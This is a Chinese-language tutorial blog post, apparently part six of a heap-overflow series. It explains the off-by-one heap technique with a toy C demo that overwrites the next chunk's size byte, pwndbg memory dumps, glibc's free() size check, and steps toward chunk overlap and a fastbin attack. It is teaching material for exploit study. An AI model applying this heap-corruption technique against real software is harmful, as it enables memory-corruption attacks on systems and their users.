欢迎光临散文网 会员登陆 & 注册

二进制安全之堆溢出(系列)—— off by one

2020-03-31 15:13 作者:汇智知了堂  | 我要投稿

本文是二进制安全之堆溢出系列的第六章节,主要介绍off by one。

原理

由于prev_size可以复用的机制,off by one 可以更改后一个chunk的size大小

off by one 造后向合并时,如果当前堆块大小不属于fastbin,注意第三个堆块的prev_inuse需要为1

free 掉合并后的堆块,然后malloc 取出,就造成了堆块重叠,即大堆块里面包含了之前的被迫合并的小堆块,且小堆块可以控制

后续再进行fastbin attack!!

Demo

#include <stdio.h>

#include <malloc.h>

#include <unistd.h>

#include <string.h>

int main()

{

    char *p = malloc(0x18);

    char *q = malloc(0x18);

    char *r = malloc(0x18);

    sleep(0);

    strcpy(p,"aaaaaaaabbbbbbbbcccccccc\x41"); 

    free(q);

    sleep(0);

    malloc(0x30); 

    printf("%p\n",p);

    printf("%p\n",q);

    printf("%p\n",r);

    sleep(0);

    return 0;

}

调试

修改 q 的 size为 0×41

pwndbg> x/20gz 0x602000

0x602000:   0x0000000000000000  0x0000000000000021

0x602010:   0x6161616161616161  0x6262626262626262

0x602020:   0x6363636363636363  0x0000000000000041      //q的size

0x602030:   0x0000000000000000  0x0000000000000000

0x602040:   0x0000000000000000  0x0000000000000021

0x602050:   0x0000000000000000  0x0000000000000000

0x602060:   0x0000000000000000  0x0000000000000411  

0x602070:   0x3035303230367830  0x000000000000000a

?

如果改为0×51,free q的时候理论上会和top chunk的prev_size和size发生合并,而此时系统把top chunk的fd和bk当成prev_size和size来作为合并的检查条件,是不合法的,并且会报错!!

free(): invalid next size (fast)

?

查看glibc的对应的检查机制

if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))

              <= 2 * SIZE_SZ, 0)

    || __builtin_expect (chunksize (chunk_at_offset (p, size))

                 >= av->system_mem, 0))

   {

    bool fail = true;

    /* We might not have a lock at this point and concurrent modifications

       of system_mem might result in a false positive.  Redo the test after

       getting the lock.  */

    if (!have_lock)

      {

        __libc_lock_lock (av->mutex);

        fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ

            || chunksize (chunk_at_offset (p, size)) >= av->system_mem);

        __libc_lock_unlock (av->mutex);

      }

?

    if (fail)

      malloc_printerr ("free(): invalid next size (fast)");

   }

此时的bins

0x40: 0x602020 ?— 0x0

malloc 合并后的堆块

0x40: 0x0

已经把合并的块malloc出去了

此时 p q r 的地址

0x602010

0x602030

0x602050

即现在的r堆块仍然逻辑上存在

free r 堆块

0x20: 0x602040 ?— 0x0

这时我们可以通过大堆块修改 r 块的fd,构造fastbin attack


二进制安全之堆溢出(系列)—— off by one的评论 (共 条)

分享到微博请遵守国家法律